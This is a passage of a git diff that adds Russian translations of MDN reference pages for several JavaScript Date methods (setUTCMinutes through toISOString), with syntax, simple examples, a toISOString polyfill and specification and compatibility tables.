+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setUTCMinutes()</code></strong> устанавливает минуты указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMinutes(<var>minutesValue</var>[, <var>secondsValue</var>[, <var>msValue</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>minutesValue</code></dt>
+ <dd>Целое число от 0 до 59, представляющее минуты.</dd>
+ <dt><code>secondsValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 59, представляющее секунды. Если вы определите параметр <code>secondsValue</code>, вы также должны определить параметр <code>minutesValue</code>.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 0 до 999, представляющее миллисекунды. Если вы определите параметр <code>msValue</code>, вы также должны определить параметры <code>minutesValue</code> и <code>secondsValue</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если вы не определите значения параметров <code>secondsValue</code> и <code>msValue</code>, будут использоваться значения, возвращаемые методами {{jsxref("Date.prototype.getUTCSeconds()", "getUTCSeconds()")}} и {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.</p>
+<p>Если значение определяемого параметра будет выходить за пределы ожидаемого диапазона, метод <code>setUTCMinutes()</code> попытается соответственно обновить другие параметры и информацию о дате в объекте {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>secondsValue</code> передать значение 100, минуты увеличатся на 1 (<code>minutesValue + 1</code>), а в качестве секунд будет использоваться значение 40.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setUTCMinutes" name="Example:_Using_setUTCMinutes">Пример: использование метода <code>setUTCMinutes()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMinutes(43);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.33', 'Date.prototype.setUTCMinutes')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcminutes', 'Date.prototype.setUTCMinutes')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setMinutes()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setutcmonth/index.html b/files/ru/web/javascript/reference/global_objects/date/setutcmonth/index.html
new file mode 100644
index 0000000000..5dae100c2d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setutcmonth/index.html
@@ -0,0 +1,118 @@
+---
+title: Date.prototype.setUTCMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setUTCMonth()</code></strong> устанавливает месяц указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCMonth(<var>monthValue</var>[, <var>dayValue</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>monthValue</code></dt>
+ <dd>Целое число от 0 до 11, представляющее месяцы от января до декабря.</dd>
+ <dt><code>dayValue</code></dt>
+ <dd>Необязательный параметр. Целое число от 1 до 31, представляющее день месяца.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если вы не определите значения параметра <code>dayValue</code>, будет использоваться значение, возвращаемое методом {{jsxref("Date.prototype.getUTCDate()", "getUTCDate()")}}.</p>
+<p>Если значение определяемого параметра будет выходить за пределы ожидаемого диапазона, метод <code>setUTCMonth()</code> попытается соответственно обновить другой параметр и информацию о дате в объекте {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>monthValue</code> передать значение 15, год увеличится на 1, а в качестве месяца будет использоваться значение 3.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setUTCMonth" name="Example:_Using_setUTCMonth">Пример: использование метода <code>setUTCMonth()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCMonth(11);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.39', 'Date.prototype.setUTCMonth')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcmonth', 'Date.prototype.setUTCMonth')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setMonth()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setutcseconds/index.html b/files/ru/web/javascript/reference/global_objects/date/setutcseconds/index.html
new file mode 100644
index 0000000000..8fe93a7d8d
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setutcseconds/index.html
@@ -0,0 +1,118 @@
+---
+title: Date.prototype.setUTCSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>setUTCSeconds()</code></strong> устанавливает секунды указанной даты по всемирному координированному времени.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.setUTCSeconds(<var>secondsValue</var>[, <var>msValue</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>secondsValue</code></dt>
+ <dd>Целое число от 0 до 59, представляющее количество секунд.</dd>
+ <dt><code>msValue</code></dt>
+ <dd>Необязательный параметр. Число от 0 до 999, представляющее количество миллисекунд.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Если вы не определите значения параметра <code>msValue</code>, будет использоваться значение, возвращаемое методом {{jsxref("Date.prototype.getUTCMilliseconds()", "getUTCMilliseconds()")}}.</p>
+<p>Если значение определяемого параметра будет выходить за пределы ожидаемого диапазона, метод <code>setUTCSeconds()</code> попытается соответственно обновить другой параметр и информацию о дате в объекте {{jsxref("Global_Objects/Date", "Date")}}. Например, если в качестве <code>secondsValue</code> передать значение 100, минуты увеличатся на 1, а в качестве секунд будет использоваться значение 40.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setUTCSeconds" name="Example:_Using_setUTCSeconds">Пример: использование метода <code>setUTCSeconds()</code></h3>
+<pre class="brush: js">var theBigDay = new Date();
+theBigDay.setUTCSeconds(20);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.3.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.31', 'Date.prototype.setUTCSeconds')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setutcseconds', 'Date.prototype.setUTCSeconds')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/setyear/index.html b/files/ru/web/javascript/reference/global_objects/date/setyear/index.html
new file mode 100644
index 0000000000..d3127e4bf0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/setyear/index.html
@@ -0,0 +1,87 @@
+---
+title: Date.prototype.setYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/setYear
+tags:
+  - Date
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/setYear
+---
+<div>{{JSRef("Global_Objects", "Date")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>setYear()</code></strong> устанавливает год указанной даты по местному времени. Поскольку метод <code>setYear()</code> не устанавливает полный год («проблема 2000 года»), он больше не используется и был заменён методом {{jsxref("Date.prototype.setFullYear", "setFullYear()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.setYear(<var>yearValue</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>yearValue</code></dt>
+ <dd>Целое число.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если параметр <code>yearValue</code> является числом в диапазоне от 0 до 99 (включительно), год объекта <code>dateObj</code> устанавливается в <code>1900 + yearValue</code>. В противном случае год объекта <code>dateObj</code> устанавливается в <code>yearValue</code>.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_setYear" name="Example:_Using_setYear">Пример: использование метода <code>setYear()</code></h3>
+
+<p>Первые две строки устанавливают год в 1996. Третья строка устанавливает год в 2000.</p>
+
+<pre class="brush: js">var theBigDay = new Date();
+
+theBigDay.setYear(96);
+theBigDay.setYear(1996);
+theBigDay.setYear(2000);
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.5', 'Date.prototype.getYear')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определён в (информативном) приложении по совместимости.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.setyear', 'Date.prototype.getYear')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определён в (нормативном) приложении по дополнительным возможностям веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{Compat("javascript.builtins.Date.setYear")}}</div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/todatestring/index.html b/files/ru/web/javascript/reference/global_objects/date/todatestring/index.html
new file mode 100644
index 0000000000..c36b9f6929
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/todatestring/index.html
@@ -0,0 +1,113 @@
+---
+title: Date.prototype.toDateString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toDateString
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toDateString
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toDateString()</code></strong> возвращает часть, содержащую только дату объекта {{jsxref("Global_Objects/Date", "Date")}} в виде человеко-читаемой строки на американском английском.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.toDateString()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Экземпляры объекта {{jsxref("Global_Objects/Date", "Date")}} ссылаются на определённый момент времени. Вызов метода {{jsxref("Date.prototype.toString()", "toString()")}} вернёт дату, отформатированную в виде человеко-читаемой строки на американском английском. В <a href="/ru/docs/SpiderMonkey">SpiderMonkey</a> она состоит из части, содержищей дату (день, месяц и год) и следующей за ней части, содержащей время (часы, минуты, секунды и часовой пояс). Иногда желательно получить строку, содержащую только часть с датой; этого можно достигнуть использованием метода <code>toDateString()</code>.</p>
+<p>Метод <code>toDateString()</code> полезен тем, что совместимые движки, реализующие <a href="/ru/docs/ECMAScript">ECMA-262</a> могут давать разные строки с помощью метода {{jsxref("Date.prototype.toString()", "toString()")}} объекта {{jsxref("Global_Objects/Date", "Date")}}, поскольку формат строки зависит от реализации и простой подход с разрезанием строки на дату и время может не всегда сработать.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_A_basic_usage_of_toDateString" name="Example:_A_basic_usage_of_toDateString">Пример: базовое использование метода <code>toDateString()</code></h3>
+<pre class="brush: js">var d = new Date(1993, 6, 28, 14, 39, 7);
+
+console.log(d.toString());     // напечатает Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)
+console.log(d.toDateString()); // напечатает Wed Jul 28 1993
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.3', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.todatestring', 'Date.prototype.toDateString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/togmtstring/index.html b/files/ru/web/javascript/reference/global_objects/date/togmtstring/index.html
new file mode 100644
index 0000000000..b10fb90ceb
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/togmtstring/index.html
@@ -0,0 +1,114 @@
+---
+title: Date.prototype.toGMTString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toGMTString
+tags:
+  - Date
+  - Deprecated
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toGMTString
+---
+<div>{{JSRef("Global_Objects", "Date")}} {{deprecated_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toGMTString()</code></strong> преобразует дату в строку, используя соглашения Среднего времени по Гринвичу (GMT) в Интернет. Точный формат значения, возвращаемого методом <code>toGMTString()</code> различается на разных платформах и браузерах, можно лишь сказать, что он представляет собой человеко-читаемую строку с датой.</p>
+<div class="note">
+ <p><strong>Примечание:</strong> метод <code>toGMTString()</code> устарел и не должен использоваться. Он оставлен только для обратной совместимости; пожалуйста, используйте вместо него метод {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.toGMTString()</code></pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toGMTString" name="Example:_Using_toGMTString">Пример: использование метода <code>toGMTString()</code></h3>
+<p>В этом примере метод <code>toGMTString()</code> преобразует дату в формат GMT (UTC), используя часовой пояс операционной системы и возвращает подобную строку. Точный формат зависит от платформы.</p>
+<pre class="brush: js">var today = new Date();
+var str = today.toGMTString();  // устарел! используйте метод toUTCString()
+
+console.log(str);               // Mon, 18 Dec 1995 17:28:35 GMT
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение, но уже определён как устаревший. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.6', 'Date.prototype.toGMTString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Определён в (информативном) приложении по совместимости.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.togmtstring', 'Date.prototype.toGMTString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Определён в (нормативном) приложении по дополнительным возможностям веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/toisostring/index.html b/files/ru/web/javascript/reference/global_objects/date/toisostring/index.html
new file mode 100644
index 0000000000..347f326d0b
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/toisostring/index.html
@@ -0,0 +1,143 @@
+---
+title: Date.prototype.toISOString()
+slug: Web/JavaScript/Reference/Global_Objects/Date/toISOString
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toISOString
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>toISOString()</code></strong> возвращает строку в формате ISO (<a href="https://ru.wikipedia.org/wiki/ISO_8601">расширенный формат ISO 8601</a>), который можно описать следующим образом: <strong><code>YYYY-MM-DDTHH:mm:ss.sssZ</code></strong>. Часовой пояс всегда равен UTC, что обозначено суффиксом <code>"Z"</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.toISOString()</code></pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toISOString" name="Example:_Using_toISOString">Пример: использование метода <code>toISOString()</code></h3>
+
+<pre class="brush: js">var today = new Date('05 October 2011 14:48 UTC');
+
+console.log(today.toISOString()); // вернёт 2011-10-05T14:48:00.000Z
+</pre>
+
+<p>Пример выше использует разбор нестандартного строкового значения, которое может разобраться некорректно в браузерах, отличных от Firefox.</p>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Этот метод был стандартизирован в ECMA-262 5-го издания. Отсутствие этого метода в движках, которые не были обновлены для его поддержки, можно обойти следующей прокладкой:</p>
+
+<pre class="brush: js">if (!Date.prototype.toISOString) {
+  (function() {
+
+    function pad(number) {
+      if (number &lt; 10) {
+        return '0' + number;
+      }
+      return number;
+    }
+
+    Date.prototype.toISOString = function() {
+      return this.getUTCFullYear() +
+        '-' + pad(this.getUTCMonth() + 1) +
+        '-' + pad(this.getUTCDate()) +
+        'T' + pad(this.getUTCHours()) +
+        ':' + pad(this.getUTCMinutes()) +
+        ':' + pad(this.getUTCSeconds()) +
+        '.' + (this.getUTCMilliseconds() / 1000).toFixed(3).slice(2, 5) +
+        'Z';
+    };
+
+  }());
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.43', 'Date.prototype.toISOString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.toisostring', 'Date.prototype.toISOString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
